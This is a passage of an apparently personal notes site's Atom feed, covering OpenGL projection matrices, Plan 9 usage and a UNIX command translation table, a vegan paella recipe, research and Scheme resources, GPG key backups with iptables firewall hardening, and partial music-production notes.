                    <code>glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, EBO); glDrawElements(GL_TRIANGLES, N_VERTICES, GL_UNSIGNED_INT, 0)</code></li>
                    </ul>
                    <h2 id="projection-matrices">Projection
                    matrices</h2>
                    <p>A point or vertex goes through several
                    transformation before ending up in the screen. First
                    the model and projection matrices move the point to
                    clip space. Clipping occurs on the on the unit cube,
                    leaving a certain “guard band”. When clipping, new
                    triangles may be generated to keep the overall
                    geometry of the mesh. The resulting points after
                    clipping will be moved to screen coordinates, where
                    rasterization will happen.</p>
                    <h3 id="no-perspective-model-coordinates-in-ndc.">No
                    perspective (Model coordinates in NDC).</h3>
                    <pre><code>Mat4 model = vm_identity();
Mat4 view = vm_identity();
Mat4 projection = vm_identity();</code></pre>
                    <h3 id="orthographic-projection.">Orthographic
                    projection.</h3>
                    <ul>
                    <li>Model is 100x100 units, with origin/center on
                    the lower left corner.</li>
                    <li>View translates the model so that the bottom
                    corner is located at the lower left corner.</li>
                    <li>Projection matrix is an orthogonal canvas of
                    400x400 units.</li>
                    </ul>
                    <pre><code>Mat4 model = vm_scale(vm_identity(), (Vec3){100.0f, 100.0f, 1.00f});
Mat4 view = vm_translate(vm_identity(), (Vec3){50.0f, 50.0f, 0.0f});
Mat4 projection = vm_ortho(0.0f, 400.0f, 0.0f, 400.0f, 0.0f, 1.0f);</code></pre>
                    <h3 id="perspective-projection.">Perspective
                    projection.</h3>
                    <ul>
                    <li>Model in NDC is rotated -55 degrees around the X
                    axis. Because OpenGL is right handed, a negative
                    rotation in this case means that we are ‘titling’
                    the plane ‘backwards’ (Further away on the
                    top).</li>
                    <li>View translates the model backwards slightly so
                    that we can see it properly after the perspective
                    projection.</li>
                    <li>Projection matrix is a perspective frustrum with
                    a fovy of 45 degrees, aspect ratio of 4:3, and near
                    far plane at 100.0.</li>
                    </ul>
                    <pre><code>//            Y
//            |
//            |
//            |---------- X
//           /
//          /
//         Z
Mat4 model = vm_rotate(vm_identity(), (float)glfwGetTime() * 50.0f, (Vec3){0.5f, 1.0f, 0.0f});
Mat4 view = vm_translate(vm_identity(), (Vec3){0.0f, 0.0f, -3.0f});
Mat4 projection = vm_perspective(45.0f, 800.0f/600.0f, 0.1f, 100.0f);</code></pre>
                    <h2 id="opengl-command-buffers">OpenGL command
                    buffers</h2>
                    <p>To provide a cohesive abstraction layer for
                    graphics between different APIs, we need to be able
                    to map lower level concepts to higher level APIs.
                    Unfortunately OpenGL doesn’t have access to command
                    buffers, but emulation should be possible.</p>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://gpfault.net/posts/opengl-command-buffers.txt.html">Thoughts
                    on Emulating Command Buffers for OpenGL</a></li>
                    <li><a
                    href="https://gpfault.net/posts/opengl-command-buffers-2.txt.html">Emulating
                    Command Buffers in OpenGL - Part 2</a></li>
                    <li><a
                    href="https://developer.nvidia.com/opengl-vulkan">How
                    to make OpenGL usage Vulkan like</a></li>
                    <li><a
                    href="https://www.slideshare.net/CassEveritt/approaching-zero-driver-overhead">Approaching
                    zero driver overhead</a></li>
                    <li><a
                    href="https://antongerdelan.net/opengl/">Anton’s
                    OpenGL 4 Tutorials</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // OS Programming</title>
            <link href="https://badd10de.dev//notes/os-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/os-programming.html</id>
            <updated>2026-06-16T09:49:23Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Building an operating system or programming
                    bare-metal can be quite hard and abstract, but there
                    are a few resources available that make it much
                    easier:</p>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=9t-SPC7Tczc&amp;list=PLFjM7v6KGMpiH2G-kT781ByCNC_0pKpPN">Building
                    an OS (nanobyte)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=9t-SPC7Tczc&amp;list=PLFjM7v6KGMpjWYxnihhd4P3G0BhMB9ReG">Building
                    a bootloader (nanobyte)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Plan 9</title>
            <link href="https://badd10de.dev//notes/plan-9.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/plan-9.html</id>
            <updated>2026-06-16T09:49:23Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Plan9 is a UNIX inspired non-commercial graphical
                    research OS. It has a lot of interesting ideas,
                    pushing the “everything is a file” philosophy to the
                    limit. It is very different from UNIX and can take
                    some time getting used to it.</p>
                    <h2 id="system-update">System update</h2>
                    <p>To update the system, <code>webfs</code> must be
                    running, since we need to sync the mercurial
                    repository. This is probably one of the first things
                    you want to do after a fresh install.</p>
                    <pre><code>webfs
sysupdate
cd /sys/src
mk clean
mk install</code></pre>
                    <h2 id="rio">Rio</h2>
                    <p>Rio is the window-manager of Plan 9. It has a lot
                    of nice ideas and relies on a 3 button mouse for all
                    operations. Left click (<code>mouse 1</code>) is
                    used to select text and put the cursor on the
                    desired location. Right click (<code>mouse 3</code>)
                    will open Rio menu if used on the desktop or
                    terminal, which allow us to create new windows,
                    resize, move, delete or hide them. Middle click will
                    open the terminal options such as copy and
                    paste.</p>
                    <p>Combining mouse presses (also known as
                    “chording”) can be used to different effects. For
                    example selecting text with <code>mouse 1</code> and
                    without releasing it, pressing the middle button
                    (<code>mouse 2</code>) will cut the text. If we then
                    hold <code>mouse 1</code> and press
                    <code>mouse 3</code> the contents will be pasted. To
                    copy text (<code>snarf</code>) instead of cutting
                    it, just follow the cut with a paste before
                    releasing <code>mouse 1</code>, so
                    <code>(hold) mouse 1 -&gt; (press) mouse 2 -&gt; (press) mouse 3</code>.</p>
                    <p>For scrollable windows, using the scroll wheel
                    works as expected. Pressing <code>mouse 1</code> or
                    <code>mouse 3</code> directly on the scroll bar will
                    scroll up or down respectively. Pressing and holding
                    <code>mouse 2</code> allow us to drag scroll.</p>
                    <p>Graphical programs will replace the terminal when
                    run and may interact differently with mouse usage.
                    For example in <code>acme</code> middle click on
                    some text will attempt to execute it
                    (e.g. <code>mouse 2</code> on <code>Newcol</code>
                    text will create a new column and highlighting
                    <code>ls $home</code> and pressing
                    <code>mouse 2</code> on it will execute the command
                    as if ran on the terminal and paste the output on a
                    new buffer).</p>
                    <p>To customize the look and feel of Rio and add a
                    wallpaper if desired see <a
                    href="https://ftrv.se/14">this</a>.</p>
                    <h2 id="unix-command-translation">UNIX command
                    translation</h2>
                    <pre><code>UNIX                       Plan 9 from Bell Labs

`command`                  `{ command }

.profile                   $home/lib/profile

^C (Ctrl+C)                DEL key -- doesn&#39;t work without rio(4) though.

~                          $home
                           /usr/$user/

~username                  /usr/username

&quot;$@&quot;                       $*

1&gt;&amp;2                       &gt;[2=1]

apropos                    lookman(1)

at specific-time           while (! ~ (`{ date }) (specific-time)); commands

cc                         one of ones in 0c(1) followed by the same of 0l(1)
                           pcc(1) for Standard C/POSIX programs

cp -r /foo/ /bar/          mkdir /bar/foo/ &amp;&amp; dircp /foo/ /bar/foo/

crontab -e                 sam /cron/$user/cron

curl http://foo/bar        hget http://foo/bar &gt; bar
wget http://foo/bar        (progress bar, -t for ascii) hget -v -o bar http://foo/bar |[2] aux/statusbar [-t] &#39;downloading&#39;

cut                        awk -F ...

apt-get dist-upgrade
rpm -Ua
yum -c update              /usr/glenda/bin/rc/pull

apt-get install
rpm -i package
yum -c install package     9fs sources ; cd /n/sources/
                           /n/sources/contrib/fgb/root/rc/bin/contrib/install fgb/contrib ; contrib/install $who/$what

df                         disk/kfscmd check
                           echo fsys all df | con -l /srv/fscons
                           df in fossilcons(8)

ee                         sam
emacs                      acme
jim
joe
nano
pico
vi
xedit


expr                       hoc -e

find                       du -a | grep pattern
                           grep pattern `{du -a root}
   -name                   du -a root | grep name
   pattern in a file       grep -n pattern `{du -a root | awk &#39;{print $2}&#39;}
   -exec cp &#39;{}&#39; x &#39;;&#39;     cp `{ du -a | grep pattern } x

fsck                       echo fsys all check fix | con -l /srv/fscons
                           if running venti, for a thorough fix: echo fsys all check fix venti snapshot | con -l /srv/fscons

ftp                        ftpfs host.domain (Remote files apear in /n/ftp).

ftpd                       aux/listen ftp

getopt                     getflags(8)

groff -l                   troff | lp

grops                      dpost - see troff(1)

head                       sed 10q

hwclock                    cat &#39;#r/rtc&#39;
                           aux/timesync

id                         echo $user
                           cat /dev/user
                           grep `{cat /dev/user} /adm/users
                           grep $user /adm/users

iostat                     iostats(4)

ifconfig(IP address)       cat /net/ndb

ifconfig                   ip/ipconfig ether /net/ether0 add 192.168.1.32
                           ip/ipconfig # let dhcp do it

kill pid                   stop processname | rc
                           echo stop &gt; /proc/pid/ctl
                           (in both cases, switch stop with start to get it back)

kill -9 pid                slay processname | rc
kill -KILL pid             echo kill &gt; /proc/pid/ctl


ld                         one of the ones in 0l(1)

ls                         lc -F

lspci                      pci -v

make                       mk (not exactly the same)
                           if necessary, use make in ape/psh

man -k                     lookman(1)

less
more                       p

mount [-p flag]            bind(1)
                           unmount(1)
                           9fs(1)
                           srv(1)
                           import(4)
                           exportfs(4)
   -p                      ns(1)

mount /dev/fd0 /mnt        a: ; cd /n/a:

mount /dev/acd0 /mnt       9660srv
                           mkdir /n/9660
                           mount /srv/9660 /n/9660 /dev/sdD0/data

netcat -l                  aux/listen1 -t tcp!*!$port command

netstat [-r flag]          netstat(1)
   -r                      cat /net/iproute

nfsstat                    iostats(4)

nslookup                   ndb/dnsquery

passwd                     auth/changeuser username (first time)
                           passwd (subsequent times)

paste [FILE] ...           pr -m [FILE] ...

PATH=$PATH:...             bind -a directory /bin

ping                       ip/ping

pkginfo                    wrap(8)

reboot                     fshalt -r (note that there is a reboot command, but it doesn&#39;t call fshalt)

rmdir                      rm(1)
                           With contents inside: rm -r dir

sh                         rc(1)
                           if necessary, ape/psh

shutdown                   fshalt(8)
                           echo reboot &gt; /dev/reboot
                           echo panic &gt; /dev/reboot

snoop                      snoopy(8)

source                     .

startx                     rio (replaces 8½ and help)
launch (Andrew Project)
mux (Blit&#39;s wm)

tar xzf file.tgz           tar xf file.tgz

tcpdump                    snoopy(8)

traceroute                 ip/traceroute

tree                       du $* | awk &#39;{print $2}&#39; | sort | sed &#39;s/[^\/]+\//   /g&#39;

ufs{dump|restore}          yesterday(1)
                           history(1)
                           fs(4)

vigr                       [Adding a new user]
vipw

vlock                      http://mirtchovski.com/lanlp9/rlock
                           (specify password at invocation)

vmstat                     stats(1)
                           cat /dev/sysstat
                           cat /dev/swap

which                      whatis

xbiff                      faces

xclock                     clock
                           games/catclock
                           faces

xditview                   troff | page
                           troff | proof

xload                      stats -l

xlock                      /n/sources/contrib/steve/conslock
                           (authenticates against authentication server)

xlogo                      window &#39;hget http://plan9.bell-labs.com/plan9/img/plan9bunnysmblack.jpg | page&#39;

xman cat                   man -t cat | page

xv file.jpg                page file.jpg

xwininfo                   winwatch

yes                        while() { echo y }
yes arg                    while() { echo arg }</code></pre>
                    <p>Source:
                    https://9p.io/wiki/plan9/Unix_to_Plan_9_command_translation/index.html</p>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a href="http://fqa.9front.org/fqa.html">9front
                    FQA</a></li>
                    <li><a href="https://9p.io/plan9/">Plan 9 from Bell
                    Labs</a></li>
                    <li><a
                    href="http://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9">C
                    programming in plan 9</a></li>
                    <li><a
                    href="https://docs.huihoo.com/plan9/Plan9.pdf">The
                    Unix Spirit set Free: Plan 9 from Bell Labs</a></li>
                    <li><a
                    href="https://alsejk.ch/writing/9front-pi.html">Installing
                    9front on Raspberry Pi (rpi4)</a></li>
                    <li><a
                    href="http://blog.postnix.pw/2018/09/21/0/">Intro to
                    graphics on Plan 9</a></li>
                    <li><a
                    href="https://nspool.github.io/2013/02/bouncing-ball/">Getting
                    started with Plan 9 graphics programming</a></li>
                    <li><a
                    href="http://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9">C
                    programming in Plan 9</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Recipe: Vegan Paella</title>
            <link href="https://badd10de.dev//notes/recipe-vegan-paella.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/recipe-vegan-paella.html</id>
            <updated>2026-06-16T09:49:24Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Being from the south of Spain, on of my all-time
                    favourite recipes is paella. I’ve been making this
                    vegan version non-stop for a couple of years and it
                    is simple and delicious! Normally a paella pan is
                    used, but any large flat pan will work just
                    fine.</p>
                    <p><a
                    href="/notes/recipes/vegan-paella/finished.jpg"><img
                    src="/notes/recipes/vegan-paella/finished.png"
                    alt="Picture of a finished vegan paella." /></a></p>
                    <h2 id="ingredients">Ingredients</h2>
                    <p>For 2 people (2-4 servings):</p>
                    <ul>
                    <li>1 small/medium red bell pepper.</li>
                    <li>250g of flat green beans.</li>
                    <li>2-3 cloves of garlic.</li>
                    <li>1/2 can of canned tomatoes.</li>
                    <li>1/2 lemon.</li>
                    <li>1/2 aubergine.</li>
                    <li>1.5cups of short grain rice. Traditionally one
                    would use “bomba rice”, but since it is not so easy
                    to find outside of Spain, any short grain or risotto
                    rice would work. You may need to try different types
                    until you find one you like!</li>
                    <li>Smoked paprika.</li>
                    <li>Saffron, but can be substituted by turmeric,
                    since it is normally cheaper and easier to
                    obtain.</li>
                    <li>Salt, pepper, water and olive oil.</li>
                    </ul>
                    <p><a
                    href="/notes/recipes/vegan-paella/ingredients.jpg"><img
                    src="/notes/recipes/vegan-paella/ingredients.png"
                    alt="Picture of sliced red pepper, green beans and aubergine." /></a></p>
                    <h2 id="preparation">Preparation</h2>
                    <ol type="1">
                    <li>Dice the flat green beans, bell pepper and
                    aubergine to the preferred size.</li>
                    <li>Put a generous amount of olive oil into a big
                    flat pan and bring to heat.</li>
                    <li>Start frying the pepper with a pinch of salt on
                    medium-high heat.</li>
                    <li>When the pepper starts to get some color, add
                    the flat green beans.</li>
                    <li>Once the pepper and beans start to get golden,
                    add the aubergine. Beware that it will probably suck
                    all the remaining olive oil, so keep stirring and
                    add more if necessary.</li>
                    </ol>
                    <p><a
                    href="/notes/recipes/vegan-paella/veggies.jpg"><img
                    src="/notes/recipes/vegan-paella/veggies.png"
                    alt="Picture of a paella pan with cut veggies on top." /></a></p>
                    <ol start="6" type="1">
                    <li>After around 5-10 minutes all the veggies should
                    be golden but not burnt. Add the sliced cloves of
                    garlic and keep stirring to avoid burning it.</li>
                    <li>When the garlic is fragrant, add the canned
                    tomatoes and cook for 5-10 more minutes until all
                    ingredients are incorporated.</li>
                    <li>Add water in a 3:1 proportion with the rice. In
                    this case we are using 1.5 cups of rice, so we will
                    be adding 4.5 cups of water. It may look like a lot,
                    but using a flat pan the water will evaporate
                    quickly.</li>
                    <li>Once the water is boiling, reduce the
                    temperature and shimmer. Add the smoked paprika,
                    saffron/turmeric and salt and pepper to taste. Keep
                    trying the soup until it is nice and flavorful.</li>
                    <li>Once the soup is ready, add the rice evenly
                    around the pan, making sure all the grains are
                    submerged.</li>
                    </ol>
                    <p><a
                    href="/notes/recipes/vegan-paella/soup.jpg"><img
                    src="/notes/recipes/vegan-paella/soup.png"
                    alt="Picture of a paella pan once the soup has been made." /></a></p>
                    <ol start="11" type="1">
                    <li>At this point you don’t want to stir the pan
                    anymore. We want to avoid the rice becoming starchy.
                    Cook until the rice is done, but keeping a bit of a
                    bite.</li>
                    <li>One of the secrets of a good paella is to get
                    the bottom part of the rice a little bit burnt (also
                    known as “socarrat”), which will add some
                    caramelization and an extra layer of flavor to your
                    dish. Getting the right amount of socarrat will take
                    some practice and don’t panic if you smell the burnt
                    too early. Too much, and you will be eating burnt
                    rice, too little and you will not getting the full
                    experience. If the rice is almost done (al dente) by
                    the time you have to take it out of the fire, you
                    can cover with a clean kitchen towel and let it rest
                    for 5 more minutes or so.</li>
                    <li>Once ready, make sure to scrap the bottom before
                    serving to give a bit of socarrat on all portions.
                    Serve with a slice of lemon for extra flavour.</li>
                    <li>Enjoy!</li>
                    </ol>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Research</title>
            <link href="https://badd10de.dev//notes/research.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/research.html</id>
            <updated>2026-06-16T09:49:24Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="useful-abbreviations">Useful
                    abbreviations</h2>
                    <ul>
                    <li>sine qua non: An essential condition; something
                    necessary.</li>
                    <li>i.e./id est: That is.</li>
                    <li>e.g./exempli gratia: For example.</li>
                    </ul>
                    <h2 id="resources">Resources</h2>
                    <h3 id="general">General</h3>
                    <ul>
                    <li><a
                    href="https://probablydance.com/2017/09/02/collected-advice-for-doing-scientific-research/">Collected
                    advice for doing scientific research</a></li>
                    </ul>
                    <h3 id="writing">Writing</h3>
                    <ul>
                    <li><a
                    href="http://marcfbellemare.com/wordpress/12797">Between
                    the Introduction and the Conclusion: The “Middle
                    Bits” Formula for Applied Papers</a></li>
                    <li><a
                    href="https://twitter.com/rskudesia/status/1120324415424585728/photo/1">Checklist
                    for a scientific paper</a></li>
                    <li><a
                    href="http://marcfbellemare.com/wordpress/12060">The
                    conclusion formula</a></li>
                    <li><a
                    href="http://blogs.ubc.ca/khead/research/research-advice/formula">The
                    introduction formula</a></li>
                    <li><a
                    href="http://www.phrasebank.manchester.ac.uk/">Academic
                    Phrasebank (Manchester)</a></li>
                    <li><a
                    href="https://academicguides.waldenu.edu/writingcenter/writingprocess/home">Writing
                    a paper (Walden University)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Scheme Programming</title>
            <link href="https://badd10de.dev//notes/scheme-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/scheme-programming.html</id>
            <updated>2026-06-16T09:49:24Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Scheme is a minimalist, LISP programming
                    language. The whole language specification is very
                    small, and different updates to the language are
                    written in the <em>Revised N Report on the
                    Algorithmic Language Scheme</em>, or (RnRS).</p>
                    <p>There are multiple implementations of Scheme, and
                    they can differ quite a bit in language extensions
                    or built in libraries. Some available
                    implementations include <a
                    href="https://cons.io/">Gerbil</a>, <a
                    href="https://www.call-cc.org/">Chicken</a>, <a
                    href="https://www.scheme.com/">Chez</a>, and <a
                    href="https://racket-lang.org/">Racket</a>.</p>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.ic.unicamp.br/~meidanis/courses/mc336/2006s2/funcional/L-99_Ninety-Nine_Lisp_Problems.html">L-99:
                    Ninety-Nine Lisp Problems</a></li>
                    <li><a
                    href="http://www.nongnu.org/geiser/geiser_1.html#Introduction">Geiser,
                    an Emacs environment for Scheme</a></li>
                    <li><a
                    href="https://erkin.party/scheme/bibliography/">Recommended
                    books for Scheme</a></li>
                    </ul>
                    <h3 id="books">Books</h3>
                    <ul>
                    <li><a
                    href="20200326001947-book_the_little_schemer.org">The
                    Little Schemer</a></li>
                    <li><a href="https://www.scheme.com/tspl4/">The
                    Scheme Programming Language, 4th edition</a></li>
                    <li><a
                    href="https://mitpress.mit.edu/sites/default/files/sicp/full-text/book/book-Z-H-4.html">Structure
                    and Implementation of Computer Programs</a></li>
                    <li><a
                    href="http://www.ccs.neu.edu/home/matthias/BTSS/">The
                    Seasoned Schemer</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Security</title>
            <link href="https://badd10de.dev//notes/security.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/security.html</id>
            <updated>2026-06-16T09:49:25Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="gpg">GPG</h2>
                    <p>In order to create a consistent set of practices
                    (while keeping the convenience of cloud storage) for
                    encrypting my data and passwords, I’ve decided to do
                    the following:</p>
                    <ul>
                    <li>Primary (Sign,Certify) key and subkey #1
                    (Encrypt) was generated with 4096 RSA
                    (<code>&lt;key-fingerprint&gt;</code>).</li>
                    <li>A new subkey #2 is generated to provide (Sign)
                    capability. For transferring</li>
                    <li>and everyday carry, the subkeys can be deployed
                    in a new machine, while the primary key will be kept
                    encrypted in a separate location.</li>
                    <li>This means that the subkeys have capability for
                    signing and encrypting documents but can’t generate
                    new subkeys or revoke them.</li>
                    </ul>
                    <h3 id="symmetric-encryption-of-backups">Symmetric
                    encryption of backups</h3>
                    <p>The generated backup keys
                    <code>&lt;key-fingerprint&gt;.full_backup.asc</code>
                    and <code>&lt;key-fingerprint&gt;.subkeys.asc</code>
                    are compressed into a <code>tar.gz</code> and
                    secured with:</p>
                    <div class="sourceCode" id="cb1"><pre
                    class="sourceCode bash"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="fu">tar</span> <span class="at">-zcvf</span> <span class="op">&lt;</span>key-fingerprint<span class="op">&gt;</span>.tar.gz <span class="dt">\</span></span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>key-fingerprint<span class="op">&gt;</span>.full_backup.asc <span class="dt">\</span></span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>key-fingerprint<span class="op">&gt;</span>.subkeys.asc</span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="ex">gpg</span> <span class="at">--symmetric</span> <span class="op">&lt;</span>key-fingerprint<span class="op">&gt;</span>.tar.gz</span></code></pre></div>
                    <p>This encrypted key can now stored in a secure
                    location. Note that a different password can and
                    should be used for the GPG key and the symmetric
                    encryption.</p>
                    <p>To restore all the keys to a new machine use:</p>
                    <div class="sourceCode" id="cb2"><pre
                    class="sourceCode bash"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">gpg</span> <span class="at">--decrypt</span> <span class="op">&lt;</span>key-fingerprint<span class="op">&gt;</span>.tar.gz.gpg <span class="kw">|</span> <span class="fu">tar</span> <span class="at">-zxv</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">gpg</span> <span class="at">--import</span> <span class="op">&lt;</span>key-fingerprint<span class="op">&gt;</span>.[full_backup<span class="kw">|</span><span class="ex">subkeys].asc</span></span></code></pre></div>
                    <h3
                    id="securing-the-main-machine-to-use-only-subkeys">Securing
                    the main machine to use only subkeys</h3>
                    <p>Once the primary key have been generated or
                    imported, the only required steps to restrict the
                    machine is as follows:</p>
                    <ul>
                    <li>Make a backup of <code>.gnupg</code></li>
                    <li>Delete .gnupg</li>
                    <li>Import the secret keys</li>
                    <li>Edit the public key to maximum trust</li>
                    </ul>
                    <h3 id="updating-the-keychain">Updating the
                    keychain</h3>
                    <p>We might want to update the keychain (i.e. adding
                    new subkeys, a new mail/userid). To do so, import
                    the primary key (<code>full_backup</code>) into your
                    machine, make the modifications and perform the full
                    backup again.</p>
                    <h3 id="moving-the-password-store">Moving the
                    password store</h3>
                    <p>I’m currently using pass to manage my passwords.
                    I set up a password store using <code>pass</code>
                    and my <code>&lt;key-fingerprint&gt;</code> gpg key.
                    All my passwords are saved there and I mirror it to
                    a private git repository on github. Additionally,
                    I’ve created a symbolic link of the password store
                    to my Dropbox account.</p>
                    <h2 id="firewalliptables">Firewall/iptables</h2>
                    <p>Properly configuring firewalls is very important
                    to avoid nasty attacks from malicious hackers. Using
                    iptables, we can harden our server. Iptables are
                    complicated to setup, but extremely powerful. We can
                    also lock ourselves out of the server, so pay
                    attention to what you are doing before changing
                    anything. Note that the order in which we declare
                    iptables <em>matter</em>. To avoid any surprises
                    just follow the instructions in the order described
                    by this document.</p>
                    <p>To get started, flush the existing iptables rules
                    to start fresh:</p>
                    <pre><code>sudo iptables -F</code></pre>
                    <h3 id="block-common-attacks">Block common
                    attacks</h3>
                    <p>Drop NULL packages (Used to find out weaknesess
                    in the server), block the syn-flood attack (Where
                    hackers try to open connections and do nothing,
                    trying to starve your machine of resources). Finally
                    we block XMAS packets (Also recon).</p>
                    <pre><code>sudo iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
sudo iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
sudo iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP</code></pre>
                    <h3 id="ensure-normal-operations">Ensure normal
                    operations</h3>
                    <p>Next, we need to make sure our machine can access
                    connections on the localhost interface:</p>
                    <pre><code>sudo iptables -A INPUT -i lo -j ACCEPT</code></pre>
                    <p>Likewise, we need to allow outgoing connections
                    stablished from this machine. Otherwise it will not
                    be possible to run software updates.</p>
                    <pre><code>sudo iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</code></pre>
                    <h3
                    id="open-the-ports-for-the-services-we-need">Open
                    the ports for the services we need</h3>
                    <p>Here they are some of the common services we want
                    to allow. Select only those you are actually
                    using.</p>
                    <h4 id="ssh-access">SSH access</h4>
                    <pre><code>sudo iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT</code></pre>
                    <h4 id="web-server-httphttps">Web server
                    (HTTP/HTTPS)</h4>
                    <pre><code>sudo iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT</code></pre>
                    <h4 id="sending-email-smtp">Sending email
                    (SMTP)</h4>
                    <pre><code>sudo iptables -A INPUT -p tcp -m tcp --dport 25 -j ACCEPT
sudo iptables -A INPUT -p tcp -m tcp --dport 465 -j ACCEPT</code></pre>
                    <h4 id="read-email-pop3">Read email (POP3)</h4>
                    <pre><code>sudo iptables -A INPUT -p tcp -m tcp --dport 110 -j ACCEPT
sudo iptables -A INPUT -p tcp -m tcp --dport 995 -j ACCEPT</code></pre>
                    <h4 id="read-email-imap">Read email (IMAP)</h4>
                    <pre><code>sudo iptables -A INPUT -p tcp -m tcp --dport 143 -j ACCEPT
sudo iptables -A INPUT -p tcp -m tcp --dport 993 -j ACCEPT</code></pre>
                    <h3 id="block-everything-else">Block everything
                    else</h3>
                    <p>So far we have not blocked anything other than
                    the common attacks. Here we explicitely block
                    everything we have not included. This is a critical
                    step, and you can get in trouble if the previous
                    rules are not set properly.</p>
                    <pre><code>sudo iptables -P OUTPUT ACCEPT
sudo iptables -P INPUT DROP</code></pre>
                    <p>If you get blocked, it’s not the end of the
                    world. We might still be able to restart the server
                    or access through the VPS console from the server
                    provider, but in some cases it might be impossible.
                    If all fails, make sure you can restore your backups
                    for a fresh install.</p>
                    <h3 id="make-the-rules-permanent.">Make the rules
                    permanent.</h3>
                    <p>The rules we have set up thus far are not
                    permanent. To make this process painless, we can
                    just install the <code>iptables-persistant</code>
                    package on Debian and it will handle the setup on
                    restart.</p>
                    <pre><code>sudo apt-get update
sudo apt-get install iptables-persistant</code></pre>
                    <p>Note that if you update the iptables, you need to
                    save the configuration with the following command,
                    otherwise <code>iptables-persistant</code> will load
                    the old ones instead.</p>
                    <pre><code>sudo iptables-save &gt; /etc/iptables/rules.v4</code></pre>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // The Art of Mr. Bill</title>
            <link href="https://badd10de.dev//notes/taomb.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/taomb.html</id>
            <updated>2026-06-16T09:49:25Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>TODO: Introduction</p>
                    <h2 id="season-03">Season 03</h2>
                    <h3 id="e01">E01</h3>
                    <ul>
                    <li>Starting with the beat by loading Superior
                    Drummer and selecting the different drum pieces. He
                    uses MIDI to sequence an initial drum beat which
                    then renders to audio.</li>
                    <li>A separate kick/snare pattern is created and
                    pieces of the original drum beat are used as a form
                    of percussion, sequencing a new pattern.</li>
                    <li>The whole drum/percussion pattern is resampled
                    and using uhbik-g to add effects. While this audio
                    beat is playing, Bill flips through the presets of
                    the granulator, creating a lot of different weird
                    sounds related to the beat.</li>
                    <li>These new audio clips are used as a chopping
                    board to extract little snippets that are added on
                    top of the beat. They can be further processed and
                    the layering can include muting sections of the
                    original beat to give some space for the weird
                    noises. This creates a complex beat with a bunch of
                    interesting and unique sounds.</li>
                    <li>He uses xfer’s cthulhu to generate a bunch of
                    chords that are sent into zebra2 for sound. This
                    makes it easy to sequence a chord progression with a
                    single note.</li>
                    <li>Last thing he does is to create a new track for
                    the purpose of signaling side-chaining using a short
                    transient sound. In other DAWs you can also use MIDI
                    to trigger sidechain compression. He uses this
                    sidechain on the chords and saves a snapshot of the
                    generated chords by cthulhu. The lowest note of the
                    chords are used on an FM operator oscilator acting
                    as a sub-bass (Also sidechained).</li>
                    </ul>
                    <h3 id="e02">E02</h3>
                    <h3 id="e03">E03</h3>
                    <h3 id="e04">E04</h3>
                    <h3 id="e05">E05</h3>
                    <h3 id="e06">E06</h3>
                    <h3 id="e08">E08</h3>
                    <h3 id="e09">E09</h3>
                    <h3 id="e10">E10</h3>
                    <h2 id="season-04">Season 04</h2>
                    <h3 id="e01-1">E01</h3>
                    <ul>
                    <li>Starts by creating a number of synthesized
                    snares and kicks. He makes these with an Ableton
                    rack and kick focused VST. These could be made with
                    whatever we want, many synths should be able to
                    create these sounds.</li>
                    <li>He records a bunch of different sounds from a
                    real drumkit and slice the bits that are more
                    interesting.</li>
                    <li>The idea is to layer synth snares with live
                    ones. As layers we can use many things, since actual
                    recorded snares from an actual drumkit, ride hits,
